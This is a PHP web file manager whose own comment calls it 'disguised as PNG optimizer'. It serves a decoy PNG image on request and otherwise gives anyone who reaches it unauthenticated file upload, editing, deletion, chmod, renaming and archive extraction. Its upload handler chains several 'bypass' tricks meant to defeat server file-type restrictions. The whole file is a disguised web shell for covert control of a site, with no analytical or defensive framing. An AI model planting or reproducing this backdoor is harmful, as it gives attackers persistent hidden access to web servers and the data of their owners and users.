<?php
// 🧩 FOXDROP File Manager disguised as PNG optimizer

// === Fake PNG for disguise (if ?i)
if (isset($_GET['i'])) {
    header("Content-Type: image/png");
    echo base64_decode("iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/wcAAusB9WnWD4wAAAAASUVORK5CYII=");
    exit;
}

error_reporting(E_ALL);
ini_set('display_errors', 1);

$root = realpath(__DIR__);
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root;
if (!$dir || strpos($dir, $root) !== 0) $dir = $root;

// === Upload handler with robust rename-on-upload bypass
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $up = $_FILES['file'];
    $name = basename($up['name']);
    $target = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $name;

    echo "<div style='font-family:monospace; padding:10px; background:#222; color:#0f0; margin-bottom:10px;'>";

    if ($up['error'] === UPLOAD_ERR_OK && is_uploaded_file($up['tmp_name'])) {
        $success = false;

        // 1) Standard upload
        if (move_uploaded_file($up['tmp_name'], $target)) {
            $success = true;
            echo "✅ Uploaded using move_uploaded_file()<br>";
        }
        // 2) Fallback: copy()
        elseif (@copy($up['tmp_name'], $target)) {
            $success = true;
            echo "⚠️ move_uploaded_file() failed, used copy()<br>";
        }
        // 3) Rename tmp file and copy as last resort
        else {
            $bypass = $up['tmp_name'] . '.bypass';
            if (@rename($up['tmp_name'], $bypass) && @copy($bypass, $target)) {
                $success = true;
                echo "⚠️ Used rename bypass method<br>";
                @unlink($bypass);
            }
        }

        // 4) Rename-on-upload bypass with robust auto rename back
        if (!$success) {
            $safeName = $name . '.upload';
            $safeTarget = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $safeName;

            // Upload as safe file
            if (move_uploaded_file($up['tmp_name'], $safeTarget) || @copy($up['tmp_name'], $safeTarget)) {
                echo "⚠️ Upload blocked? Saved as safe file ($safeName). Trying to rename back...<br>";

                // Try rename back multiple times (up to 3)
                $attempts = 3;
                while ($attempts-- > 0) {
                    if (@rename($safeTarget, $target)) {
                        $success = true;
                        echo "✅ Successfully renamed back to original filename.<br>";
                        break;
                    }
                    usleep(200000); // wait 0.2 sec and retry
                }

                // If rename failed, try copy contents & unlink workaround
                if (!$success) {
                    $contents = @file_get_contents($safeTarget);
                    if ($contents !== false && @file_put_contents($target, $contents) !== false) {
                        @unlink($safeTarget);
                        $success = true;
                        echo "✅ Copied contents and deleted safe file, rename workaround success.<br>";
                    } else {
                        echo "❌ Failed to rename or copy contents from safe file.<br>";
                    }
                }
            }
        }

        if (!$success) {
            echo "❌ Upload failed: server likely blocks this file type.<br>";
        }
    } else {
        echo "❌ Upload error code: {$up['error']}<br>";
    }
    echo "</div>";
}

// === File actions: edit, delete, chmod, rename, zip, unzip
if (isset($_GET['act'], $_GET['f'])) {
    $f = realpath($_GET['f']);
    if (!$f || strpos($f, $root) !== 0) exit('Invalid path.');

    switch ($_GET['act']) {
        case 'edit':
            if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                $backup = $f . '.bak';
                copy($f, $backup);
                $data = $_POST['data'] ?? '';
                if (file_put_contents($f, $data) === false) {
                    rename($backup, $f);
                    echo "<div style='color:red'>❌ Failed to save. Backup restored.</div>";
                } else {
                    unlink($backup);
                    echo "<div style='color:green'>✅ Saved successfully.</div>";
                }
            }
            $content = file_get_contents($f);
            echo "<h2>✏️ Edit File: " . htmlspecialchars(basename($f)) . "</h2>";
            echo "<form method='POST'>
                <textarea name='data' style='width:100%;height:400px;font-family:monospace;'>"
                . htmlspecialchars($content) . "</textarea><br>
                <button class='btn'>💾 Save</button>
            </form><hr>";
            exit;
        case 'delete':
            is_dir($f) ? rmdir($f) : unlink($f);
            break;
        case 'chmod':
            $mode = isset($_GET['mode']) ? octdec($_GET['mode']) : 0755;
            chmod($f, $mode);
            break;
        case 'rename':
            if (isset($_GET['to'])) {
                $to = dirname($f) . DIRECTORY_SEPARATOR . basename($_GET['to']);
                rename($f, $to);
            }
            break;
        case 'zip':
            $zipname = $f . '.zip';
            $zip = new ZipArchive();
            if ($zip->open($zipname, ZipArchive::CREATE) === TRUE) {
                $zip->addFile($f, basename($f));
                $zip->close();
            }
            break;
        case 'unzip':
            $zip = new ZipArchive();
            if ($zip->open($f) === TRUE) {
                $extractPath = dirname($f);
                $zip->extractTo($extractPath);
                $zip->close();
                echo "<div style='color:green'>✅ Extracted successfully.</div>";
            } else {
                echo "<div style='color:red'>❌ Failed to open ZIP archive.</div>";
            }
            break;
    }
    header("Location: ?dir=" . urlencode($dir));
    exit;
}

// === HTML + CSS ===
?><!DOCTYPE html>
<html><head>
    <title>🧩 FOXDROP File Manager</title>
    <style>
        body { font-family: sans-serif; background: #f9f9f9; color: #333; padding: 20px; }
        .btn {
            display: inline-block;
            padding: 5px 10px;
            background: #007bff;
            color: white;
            text-decoration: none;
            border-radius: 4px;
            margin-right: 5px;
            font-size: 13px;
        }
        .btn:hover { background: #0056b3; }
        .btn.danger { background: #dc3545; }
        .btn.danger:hover { background: #c82333; }
        table { width: 100%; background: white; border-collapse: collapse; box-shadow: 0 0 5px rgba(0,0,0,0.1); }
        th, td { border: 1px solid #ddd; padding: 10px; text-align: left; }
        th { background: #f0f0f0; }
        .breadcrumb { margin-bottom: 10px; }
        .breadcrumb a.btn { margin-bottom: 5px; }
    </style>
</head><body>
<h1>🧩 FOXDROP File Manager</h1>

<?php
// Ensure $dir is a directory before scanning
if (!is_dir($dir)) {
    $dir = is_file($dir) ? dirname($dir) : $root;
    if (!is_dir($dir)) {
        $dir = $root;
    }
}

// Breadcrumb navigation
$parts = explode('/', trim(str_replace($root, '', $dir), '/'));
$build = $root;
echo "<div class='breadcrumb'>";
echo "<a class='btn' href='?dir=" . urlencode($root) . "'>/</a>";
foreach ($parts as $p) {
    if ($p === '') continue;
    $build .= '/' . $p;
    echo "<a class='btn' href='?dir=" . urlencode($build) . "'>" . htmlspecialchars($p) . "</a>";
}
echo "</div>";

// Upload form
echo "<form method='POST' enctype='multipart/form-data' style='margin-bottom:15px;'>
    <input type='file' name='file' required>
    <input type='hidden' name='dir' value='".htmlspecialchars($dir)."'>
    <button class='btn'>📤 Upload File</button>
</form>";

// File list table
echo "<table><tr><th>Name</th><th>Size</th><th>Actions</th></tr>";
foreach (scandir($dir) as $f) {
    if ($f === '.') continue;
    $fp = "$dir/$f";
    $isDir = is_dir($fp);
    $size = $isDir ? '-' : filesize($fp);
    $encoded = urlencode($fp);
    echo "<tr>
        <td>".($isDir ? "📁" : "📄")." <a href='?dir=".urlencode($fp)."'>" . htmlspecialchars($f) . "</a></td>
        <td>$size</td>
        <td>";
    if (!$isDir) {
        echo "<a class='btn' href='?act=edit&f=$encoded'>Edit</a>";
        echo "<a class='btn' href='?act=zip&f=$encoded'>ZIP</a>";
        if (strtolower(pathinfo($f, PATHINFO_EXTENSION)) === 'zip') {
            echo "<a class='btn' href='?act=unzip&f=$encoded' onclick='return confirm(\"Extract this ZIP archive?\")'>Unzip</a>";
        }
    }
    echo "<a class='btn' href='?act=chmod&f=$encoded&mode=755'>CHMOD</a>";
    echo "<a class='btn' href='?act=rename&f=$encoded&to=" . urlencode($f.'_renamed') . "'>Rename</a>";
    echo "<a class='btn danger' href='?act=delete&f=$encoded' onclick='return confirm(\"Delete $f ?\")'>Delete</a>";
    echo "</td></tr>";
}
echo "</table>";
?>

</body></html>
